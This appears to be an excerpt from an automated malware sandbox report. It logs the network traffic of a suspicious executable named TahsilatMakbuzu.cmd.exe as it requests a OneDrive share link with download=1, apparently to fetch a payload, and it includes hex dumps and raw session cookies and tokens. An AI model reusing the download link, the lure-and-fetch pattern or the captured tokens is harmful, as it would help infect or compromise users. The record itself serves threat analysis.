2024-07-04 18:16:34 UTC	8192	IN	Data Raw: 41 2d 45 34 45 31 37 39 36 30 37 38 45 35 22 3a 74 72 75 65 2c 22 36 45 37 31 38 31 42 42 2d 36 37 38 38 2d 34 34 30 31 2d 38 35 36 31 2d 38 35 38 36 30 44 38 37 32 32 32 33 22 3a 74 72 75 65 2c 22 38 46 34 41 31 30 39 41 2d 38 37 34 38 2d 34 38 32 42 2d 39 33 31 44 2d 46 45 30 46 45 44 36 38 38 30 33 44 22 3a 74 72 75 65 2c 22 32 43 35 35 30 32 45 38 2d 39 42 46 30 2d 34 45 44 39 2d 41 44 37 36 2d 39 42 42 45 31 31 34 35 45 37 36 31 22 3a 74 72 75 65 2c 22 39 32 46 44 41 42 32 39 2d 34 42 43 46 2d 34 32 37 46 2d 39 34 36 43 2d 44 35 45 38 45 43 45 33 35 42 36 46 22 3a 74 72 75 65 2c 22 39 31 44 33 36 41 43 34 2d 33 46 42 34 2d 34 31 37 36 2d 39 39 36 44 2d 41 32 30 42 45 32 46 34 44 33 37 31 22 3a 74 72 75 65 2c 22 44 44 30 31 31 42 43 41 2d 34 41 37 45 Data Ascii: A-E4E1796078E5":true,"6E7181BB-6788-4401-8561-85860D872223":true,"8F4A109A-8748-482B-931D-FE0FED68803D":true,"2C5502E8-9BF0-4ED9-AD76-9BBE1145E761":true,"92FDAB29-4BCF-427F-946C-D5E8ECE35B6F":true,"91D36AC4-3FB4-4176-996D-A20BE2F4D371":true,"DD011BCA-4A7E
2024-07-04 18:16:34 UTC	8192	IN	Data Raw: 32 39 35 35 42 36 22 3a 74 72 75 65 2c 22 33 34 46 36 45 37 33 32 2d 43 31 35 34 2d 34 37 38 38 2d 39 44 32 42 2d 32 42 41 44 46 42 45 30 46 43 44 34 22 3a 74 72 75 65 2c 22 45 44 41 32 35 45 45 41 2d 45 34 35 35 2d 34 36 43 38 2d 42 39 42 46 2d 45 32 34 44 34 37 43 39 44 44 41 46 22 3a 74 72 75 65 2c 22 30 44 35 33 35 34 38 38 2d 46 30 35 36 2d 34 38 32 30 2d 41 39 43 31 2d 39 33 37 36 41 46 36 39 39 32 46 43 22 3a 74 72 75 65 2c 22 38 36 44 44 38 46 34 44 2d 36 41 31 43 2d 34 43 44 31 2d 39 43 46 36 2d 37 46 41 39 41 41 33 35 45 41 44 45 22 3a 74 72 75 65 2c 22 43 37 45 33 44 30 33 39 2d 41 35 30 44 2d 34 31 36 35 2d 39 35 34 42 2d 30 46 46 32 35 31 39 31 46 42 36 41 22 3a 74 72 75 65 2c 22 30 32 46 44 44 42 31 44 2d 30 38 32 34 2d 34 34 34 32 2d 38 35 Data Ascii: 2955B6":true,"34F6E732-C154-4788-9D2B-2BADFBE0FCD4":true,"EDA25EEA-E455-46C8-B9BF-E24D47C9DDAF":true,"0D535488-F056-4820-A9C1-9376AF6992FC":true,"86DD8F4D-6A1C-4CD1-9CF6-7FA9AA35EADE":true,"C7E3D039-A50D-4165-954B-0FF25191FB6A":true,"02FDDB1D-0824-4442-85
2024-07-04 18:16:34 UTC	8192	IN	Data Raw: 74 72 75 65 2c 22 43 39 46 45 39 44 44 42 2d 31 36 30 38 2d 34 30 41 45 2d 38 46 30 35 2d 31 42 46 44 34 43 46 43 38 43 35 33 22 3a 74 72 75 65 2c 22 41 45 32 30 44 43 30 34 2d 37 31 31 41 2d 34 37 36 38 2d 42 30 30 41 2d 32 41 33 32 39 33 35 41 36 36 46 37 22 3a 74 72 75 65 2c 22 43 32 36 33 43 41 44 43 2d 31 41 32 31 2d 34 35 38 38 2d 38 35 36 31 2d 43 37 39 46 42 30 35 31 31 38 41 37 22 3a 74 72 75 65 2c 22 37 37 42 31 32 45 33 30 2d 35 31 39 32 2d 34 30 45 37 2d 41 36 45 41 2d 46 38 34 31 35 35 31 33 46 37 37 33 22 3a 74 72 75 65 2c 22 43 32 45 32 34 37 42 46 2d 45 34 38 35 2d 34 41 37 30 2d 39 34 37 46 2d 35 30 46 33 42 38 41 43 30 39 44 38 22 3a 74 72 75 65 2c 22 33 44 30 45 41 30 34 45 2d 36 31 41 41 2d 34 42 35 37 2d 41 35 44 32 2d 33 37 37 46 37 Data Ascii: true,"C9FE9DDB-1608-40AE-8F05-1BFD4CFC8C53":true,"AE20DC04-711A-4768-B00A-2A32935A66F7":true,"C263CADC-1A21-4588-8561-C79FB05118A7":true,"77B12E30-5192-40E7-A6EA-F8415513F773":true,"C2E247BF-E485-4A70-947F-50F3B8AC09D8":true,"3D0EA04E-61AA-4B57-A5D2-377F7
2024-07-04 18:16:34 UTC	8192	IN	Data Raw: 41 35 42 31 34 34 2d 41 35 46 33 2d 34 42 41 37 2d 41 34 31 38 2d 43 43 45 45 34 39 33 35 38 31 38 35 22 3a 74 72 75 65 2c 22 37 41 41 38 42 44 44 46 2d 33 39 31 32 2d 34 37 43 37 2d 38 35 38 32 2d 38 32 35 41 39 46 39 33 46 42 35 32 22 3a 74 72 75 65 2c 22 32 42 35 32 41 42 42 36 2d 46 37 32 45 2d 34 44 38 36 2d 39 44 36 37 2d 46 38 35 44 46 44 32 34 39 44 34 42 22 3a 74 72 75 65 2c 22 32 33 39 33 32 38 45 43 2d 32 30 39 38 2d 34 36 42 42 2d 39 43 35 43 2d 33 44 45 36 36 39 38 38 32 39 37 44 22 3a 74 72 75 65 2c 22 32 44 45 46 30 32 31 33 2d 35 30 35 45 2d 34 42 42 33 2d 38 34 34 31 2d 31 39 45 33 41 45 43 30 44 33 35 32 22 3a 74 72 75 65 2c 22 45 41 30 34 37 39 38 41 2d 42 35 30 31 2d 34 37 46 39 2d 41 35 31 41 2d 39 42 36 33 45 32 39 37 44 34 43 44 22 Data Ascii: A5B144-A5F3-4BA7-A418-CCEE49358185":true,"7AA8BDDF-3912-47C7-8582-825A9F93FB52":true,"2B52ABB6-F72E-4D86-9D67-F85DFD249D4B":true,"239328EC-2098-46BB-9C5C-3DE66988297D":true,"2DEF0213-505E-4BB3-8441-19E3AEC0D352":true,"EA04798A-B501-47F9-A51A-9B63E297D4CD"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	49754	13.107.42.12	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:16:35 UTC	75	OUT	GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1 Host: 1drv.ms
2024-07-04 18:16:35 UTC	592	IN	HTTP/1.1 301 Moved Permanently Location: https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ X-MSNSERVER: BN7PPF53DD5096F Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: QRjuREspTU2IuiC5OvQpTw.0 X-AsmVersion: UNKNOWN; 19.1445.617.2015 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 7E285282D6C3440485D09CE8C504BB38 Ref B: EWR30EDGE0209 Ref C: 2024-07-04T18:16:35Z Date: Thu, 04 Jul 2024 18:16:34 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	49755	13.107.139.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:16:36 UTC	191	OUT	GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1 Host: onedrive.live.com
2024-07-04 18:16:37 UTC	2221	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 311 Content-Type: text/html; charset=utf-8 Expires: -1 Location: /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd Set-Cookie: E=P:5agjcVWc3Ig=:wHmRBo2tz1sjEeVtYZaIf671dZJ3jhdYlhaSKLxRq2c=:F; domain=.live.com; path=/ Set-Cookie: xid=b876e420-faa5-442a-aed6-e4fa6e6a60ce&&ODSP-ODWEB-ODCF&228; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 04-Jul-2024 16:36:36 GMT; path=/ Set-Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzk2LCJuYmYiOjE3MjAxMTY5OTYsImdpdmVuX25hbWUiOiI5NCIsImZhbWlseV9uYW1lIjoiUGVhZm93bCIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6ImRhNWMyNDk0YzIzNTVjMzlmNjQxYjA4MTQyZDExMGRlIiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTY5OTZ9.pHYh7HI3jGSjlcrUU1pxaC1LTlQxwj9SRBabhT4gqqL930XC7PXb1pF1uA4hV76Z2TtYKxUR-I954A8Uhs-93eHPUr8zDweZ0yrYXgcOItNarAS_HbCOEZmiqpRgCAVSqdVrNw3gi5vmeGwXnxqUYTROGAevIf48mV9TsdzYv3mod-JTJeSwI8KxInavT02vZfoE9c4JzKJLOdjarLipvdWgZIlTO5GI2y-FbaijXxxcvG7NpXTpjPt12bAVPDuxD871zukjO7TTvTI7t1izKJ4RCCy_BTlOqvjhNn49JjKNNVP0dS2_AI3C_M68fzRcQpK7Ckh9eo2tV8KAap_stA; path=/; SameSite=None; secure Set-Cookie: wla42=; domain=live.com; expires=Thu, 11-Jul-2024 18:16:37 GMT; path=/ X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 656bc47b7b-2zg5h X-ODWebServer: nameastus2708987-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: B008B39B97284A4A9592DA33700EA40A Ref B: BN3EDGE1105 Ref C: 2024-07-04T18:16:36Z Date: Thu, 04 Jul 2024 18:16:36 GMT Connection: close
2024-07-04 18:16:37 UTC	311	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 3f 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 73 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 64 65 65 6d 3d 61 48 52 30 63 48 4d 36 4c 79 38 78 5a 48 4a 32 4c 6d 31 7a 4c 33 55 76 63 79 46 42 63 6a 4e 6f 64 46 52 6e 53 57 5a 44 64 56 39 6b 53 6e 46 48 58 33 4a 31 55 44 46 4f 4d 6d 6c 4d 5a 6d 4d 5f 5a 47 39 33 62 6d 78 76 59 57 51 39 4d 51 26 61 6d 70 3b 6d 69 67 72 61 74 65 64 74 6f 73 70 6f 3d 74 72 75 65 26 61 6d Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&am

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	49756	13.107.139.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:16:37 UTC	1289	OUT	GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1 Host: onedrive.live.com Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzk2LCJuYmYiOjE3MjAxMTY5OTYsImdpdmVuX25hbWUiOiI5NCIsImZhbWlseV9uYW1lIjoiUGVhZm93bCIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6ImRhNWMyNDk0YzIzNTVjMzlmNjQxYjA4MTQyZDExMGRlIiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTY5OTZ9.pHYh7HI3jGSjlcrUU1pxaC1LTlQxwj9SRBabhT4gqqL930XC7PXb1pF1uA4hV76Z2TtYKxUR-I954A8Uhs-93eHPUr8zDweZ0yrYXgcOItNarAS_HbCOEZmiqpRgCAVSqdVrNw3gi5vmeGwXnxqUYTROGAevIf48mV9TsdzYv3mod-JTJeSwI8KxInavT02vZfoE9c4JzKJLOdjarLipvdWgZIlTO5GI2y-FbaijXxxcvG7NpXTpjPt12bAVPDuxD871zukjO7TTvTI7t1izKJ4RCCy_BTlOqvjhNn49JjKNNVP0dS2_AI3C_M68fzRcQpK7Ckh9eo2tV8KAap_stA; E=P:5agjcVWc3Ig=:wHmRBo2tz1sjEeVtYZaIf671dZJ3jhdYlhaSKLxRq2c=:F; xid=b876e420-faa5-442a-aed6-e4fa6e6a [TRUNCATED]
2024-07-04 18:16:37 UTC	1924	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 205869 Content-Type: text/html; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" WWW-Authenticate: Wlid1.1 realm="WindowsLive", fault="BadContextToken", policy="MBI_SSL", ver="7.5.0.0", target="ssl.live.com", siteId="ssl.live.com" X-NetworkStatistics: 0,525568,0,9,18440,0,156129,4 X-SharePointHealthScore: 1 Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: 341239a1-406f-5000-f567-63b6bf0cf7e1 request-id: 341239a1-406f-5000-f567-63b6bf0cf7e1 MS-CV: oTkSNG9AAFD1Z2O2vwz34Q.0 Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com *.onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 28 SPIisLatency: 1 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25012 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 1616F76FA6664E77A7199520A0B1F4B3 Ref B: BN3EDGE0808 Ref C: 2024-07-04T18:16:37Z Date: Thu, 04 Jul 2024 18:16:36 GMT Connection: close
2024-07-04 18:16:37 UTC	2801	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 20 2f 3e Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr"> <head><meta http-equiv="Content-type" content="text/html; charset=utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no" />
2024-07-04 18:16:37 UTC	8192	IN	Data Raw: 34 31 31 37 30 34 2c 31 35 34 37 36 38 30 32 33 31 2c 2d 34 34 35 32 35 34 36 39 31 2c 2d 36 38 36 38 33 34 35 37 2c 2d 32 31 33 35 31 38 38 31 30 32 2c 2d 31 34 31 33 39 30 31 31 38 2c 2d 31 36 34 38 32 34 32 35 30 2c 32 30 36 32 39 35 36 35 33 35 2c 2d 31 32 37 36 36 35 38 35 37 35 2c 32 30 34 32 32 32 33 39 34 30 2c 2d 38 39 31 34 35 33 35 39 37 2c 35 31 37 37 38 37 39 33 35 2c 32 35 39 34 36 33 31 33 30 2c 2d 38 34 36 33 31 36 33 31 39 2c 2d 39 35 34 32 31 37 35 36 34 2c 31 39 35 31 39 36 34 38 34 2c 2d 33 35 33 37 36 34 30 38 39 2c 31 39 33 38 37 30 35 33 37 34 2c 31 36 30 37 36 36 36 31 35 30 2c 31 34 37 31 30 36 31 37 33 33 2c 31 33 33 31 32 32 30 30 32 33 2c 31 37 36 35 31 37 30 35 30 39 2c 2d 31 33 36 30 30 37 33 36 39 39 2c 2d 32 30 31 34 33 36 Data Ascii: 411704,1547680231,-445254691,-68683457,-2135188102,-141390118,-164824250,2062956535,-1276658575,2042223940,-891453597,517787935,259463130,-846316319,-954217564,195196484,-353764089,1938705374,1607666150,1471061733,1331220023,1765170509,-1360073699,-201436
2024-07-04 18:16:37 UTC	3585	IN	Data Raw: 35 2d 34 44 42 37 46 36 31 41 45 43 34 31 22 3a 74 72 75 65 2c 22 41 32 37 45 36 44 41 44 2d 39 34 39 46 2d 34 42 37 41 2d 39 44 39 36 2d 39 44 33 39 36 41 30 42 31 41 36 30 22 3a 74 72 75 65 2c 22 39 31 37 31 31 46 32 32 2d 44 34 34 45 2d 34 41 35 35 2d 39 32 38 32 2d 32 36 34 35 31 30 42 30 38 33 43 43 22 3a 74 72 75 65 2c 22 45 45 44 44 31 44 36 46 2d 36 39 46 34 2d 34 30 32 38 2d 39 46 31 46 2d 34 36 32 30 37 39 33 33 38 45 44 41 22 3a 74 72 75 65 2c 22 34 30 36 39 38 43 30 34 2d 31 31 38 39 2d 34 45 30 38 2d 42 39 33 30 2d 46 39 39 37 44 45 36 35 32 42 38 37 22 3a 74 72 75 65 2c 22 33 41 37 31 36 37 30 39 2d 39 34 31 35 2d 34 32 34 39 2d 39 32 39 35 2d 36 39 32 30 36 43 44 38 39 37 43 45 22 3a 74 72 75 65 2c 22 31 44 33 32 34 34 39 38 2d 37 36 37 33 Data Ascii: 5-4DB7F61AEC41":true,"A27E6DAD-949F-4B7A-9D96-9D396A0B1A60":true,"91711F22-D44E-4A55-9282-264510B083CC":true,"EEDD1D6F-69F4-4028-9F1F-462079338EDA":true,"40698C04-1189-4E08-B930-F997DE652B87":true,"3A716709-9415-4249-9295-69206CD897CE":true,"1D324498-7673
2024-07-04 18:16:38 UTC	8192	IN	Data Raw: 22 33 30 38 45 46 30 31 30 2d 44 37 35 42 2d 34 44 36 41 2d 38 36 41 35 2d 33 46 44 37 44 34 45 46 33 34 45 32 22 3a 74 72 75 65 2c 22 42 39 30 44 41 35 46 39 2d 42 41 37 35 2d 34 42 43 43 2d 41 33 45 30 2d 39 46 39 41 42 45 30 36 46 46 35 39 22 3a 74 72 75 65 2c 22 37 33 39 33 39 43 35 46 2d 34 32 37 42 2d 34 43 30 32 2d 42 30 38 42 2d 35 30 45 37 37 38 41 42 44 46 34 42 22 3a 74 72 75 65 2c 22 33 36 45 33 33 36 38 38 2d 37 30 45 44 2d 34 39 34 41 2d 41 39 32 31 2d 37 30 35 46 33 30 38 43 31 30 41 36 22 3a 74 72 75 65 2c 22 30 35 34 36 46 30 36 35 2d 43 33 34 37 2d 34 41 44 30 2d 38 38 36 44 2d 38 44 38 34 36 39 37 33 44 43 36 38 22 3a 74 72 75 65 2c 22 32 36 36 46 33 42 42 36 2d 44 42 37 46 2d 34 32 37 30 2d 42 38 38 33 2d 44 32 35 43 42 44 32 36 37 38 Data Ascii: "308EF010-D75B-4D6A-86A5-3FD7D4EF34E2":true,"B90DA5F9-BA75-4BCC-A3E0-9F9ABE06FF59":true,"73939C5F-427B-4C02-B08B-50E778ABDF4B":true,"36E33688-70ED-494A-A921-705F308C10A6":true,"0546F065-C347-4AD0-886D-8D846973DC68":true,"266F3BB6-DB7F-4270-B883-D25CBD2678
2024-07-04 18:16:38 UTC	8192	IN	Data Raw: 44 2d 44 31 33 35 2d 34 46 31 45 2d 42 31 31 36 2d 36 39 33 33 34 36 42 30 37 42 35 42 22 3a 74 72 75 65 2c 22 34 38 36 30 42 36 30 44 2d 32 34 34 46 2d 34 46 34 42 2d 39 43 33 30 2d 30 36 30 45 32 37 44 38 42 35 31 41 22 3a 74 72 75 65 2c 22 31 34 46 45 35 43 36 45 2d 32 41 41 31 2d 34 33 43 39 2d 38 31 39 43 2d 41 39 39 35 37 32 37 32 33 35 39 43 22 3a 74 72 75 65 2c 22 41 30 39 32 31 45 34 30 2d 42 37 33 37 2d 34 43 42 46 2d 38 44 35 45 2d 46 36 31 43 41 45 30 32 46 44 30 32 22 3a 74 72 75 65 2c 22 31 33 32 37 30 30 30 33 2d 37 46 39 34 2d 34 41 35 46 2d 39 35 38 33 2d 32 31 41 37 38 43 41 46 41 31 42 42 22 3a 74 72 75 65 2c 22 44 37 42 45 38 36 39 38 2d 46 35 38 46 2d 34 43 35 33 2d 39 31 32 42 2d 34 39 39 44 34 42 33 33 46 36 45 30 22 3a 74 72 75 65 Data Ascii: D-D135-4F1E-B116-693346B07B5B":true,"4860B60D-244F-4F4B-9C30-060E27D8B51A":true,"14FE5C6E-2AA1-43C9-819C-A9957272359C":true,"A0921E40-B737-4CBF-8D5E-F61CAE02FD02":true,"13270003-7F94-4A5F-9583-21A78CAFA1BB":true,"D7BE8698-F58F-4C53-912B-499D4B33F6E0":true
2024-07-04 18:16:38 UTC	8192	IN	Data Raw: 46 31 33 2d 38 30 32 43 2d 31 31 30 31 37 45 33 31 46 44 41 33 22 3a 74 72 75 65 2c 22 36 38 34 35 31 35 41 45 2d 39 31 34 32 2d 34 30 45 35 2d 39 44 38 30 2d 35 36 33 43 37 34 46 35 30 45 35 38 22 3a 74 72 75 65 2c 22 43 37 43 34 39 34 41 38 2d 41 31 32 32 2d 34 36 38 41 2d 41 32 39 41 2d 33 42 39 41 31 39 33 43 33 33 30 41 22 3a 74 72 75 65 2c 22 33 30 41 44 30 33 42 43 2d 34 35 39 45 2d 34 45 32 30 2d 39 38 35 35 2d 34 42 38 33 39 42 33 35 44 35 43 39 22 3a 74 72 75 65 2c 22 34 41 30 36 35 43 42 45 2d 33 37 43 41 2d 34 38 46 36 2d 39 43 31 44 2d 38 35 36 42 37 38 45 34 43 42 43 36 22 3a 74 72 75 65 2c 22 38 31 34 36 31 38 36 34 2d 46 31 42 41 2d 34 36 30 43 2d 42 43 45 31 2d 44 31 44 37 43 33 39 37 35 43 30 44 22 3a 74 72 75 65 2c 22 41 45 46 34 34 33 Data Ascii: F13-802C-11017E31FDA3":true,"684515AE-9142-40E5-9D80-563C74F50E58":true,"C7C494A8-A122-468A-A29A-3B9A193C330A":true,"30AD03BC-459E-4E20-9855-4B839B35D5C9":true,"4A065CBE-37CA-48F6-9C1D-856B78E4CBC6":true,"81461864-F1BA-460C-BCE1-D1D7C3975C0D":true,"AEF443
2024-07-04 18:16:38 UTC	8192	IN	Data Raw: 2d 45 34 45 31 37 39 36 30 37 38 45 35 22 3a 74 72 75 65 2c 22 36 45 37 31 38 31 42 42 2d 36 37 38 38 2d 34 34 30 31 2d 38 35 36 31 2d 38 35 38 36 30 44 38 37 32 32 32 33 22 3a 74 72 75 65 2c 22 38 46 34 41 31 30 39 41 2d 38 37 34 38 2d 34 38 32 42 2d 39 33 31 44 2d 46 45 30 46 45 44 36 38 38 30 33 44 22 3a 74 72 75 65 2c 22 32 43 35 35 30 32 45 38 2d 39 42 46 30 2d 34 45 44 39 2d 41 44 37 36 2d 39 42 42 45 31 31 34 35 45 37 36 31 22 3a 74 72 75 65 2c 22 39 32 46 44 41 42 32 39 2d 34 42 43 46 2d 34 32 37 46 2d 39 34 36 43 2d 44 35 45 38 45 43 45 33 35 42 36 46 22 3a 74 72 75 65 2c 22 39 31 44 33 36 41 43 34 2d 33 46 42 34 2d 34 31 37 36 2d 39 39 36 44 2d 41 32 30 42 45 32 46 34 44 33 37 31 22 3a 74 72 75 65 2c 22 44 44 30 31 31 42 43 41 2d 34 41 37 45 2d Data Ascii: -E4E1796078E5":true,"6E7181BB-6788-4401-8561-85860D872223":true,"8F4A109A-8748-482B-931D-FE0FED68803D":true,"2C5502E8-9BF0-4ED9-AD76-9BBE1145E761":true,"92FDAB29-4BCF-427F-946C-D5E8ECE35B6F":true,"91D36AC4-3FB4-4176-996D-A20BE2F4D371":true,"DD011BCA-4A7E-
2024-07-04 18:16:38 UTC	8192	IN	Data Raw: 39 35 35 42 36 22 3a 74 72 75 65 2c 22 33 34 46 36 45 37 33 32 2d 43 31 35 34 2d 34 37 38 38 2d 39 44 32 42 2d 32 42 41 44 46 42 45 30 46 43 44 34 22 3a 74 72 75 65 2c 22 45 44 41 32 35 45 45 41 2d 45 34 35 35 2d 34 36 43 38 2d 42 39 42 46 2d 45 32 34 44 34 37 43 39 44 44 41 46 22 3a 74 72 75 65 2c 22 30 44 35 33 35 34 38 38 2d 46 30 35 36 2d 34 38 32 30 2d 41 39 43 31 2d 39 33 37 36 41 46 36 39 39 32 46 43 22 3a 74 72 75 65 2c 22 38 36 44 44 38 46 34 44 2d 36 41 31 43 2d 34 43 44 31 2d 39 43 46 36 2d 37 46 41 39 41 41 33 35 45 41 44 45 22 3a 74 72 75 65 2c 22 43 37 45 33 44 30 33 39 2d 41 35 30 44 2d 34 31 36 35 2d 39 35 34 42 2d 30 46 46 32 35 31 39 31 46 42 36 41 22 3a 74 72 75 65 2c 22 30 32 46 44 44 42 31 44 2d 30 38 32 34 2d 34 34 34 32 2d 38 35 34 Data Ascii: 955B6":true,"34F6E732-C154-4788-9D2B-2BADFBE0FCD4":true,"EDA25EEA-E455-46C8-B9BF-E24D47C9DDAF":true,"0D535488-F056-4820-A9C1-9376AF6992FC":true,"86DD8F4D-6A1C-4CD1-9CF6-7FA9AA35EADE":true,"C7E3D039-A50D-4165-954B-0FF25191FB6A":true,"02FDDB1D-0824-4442-854
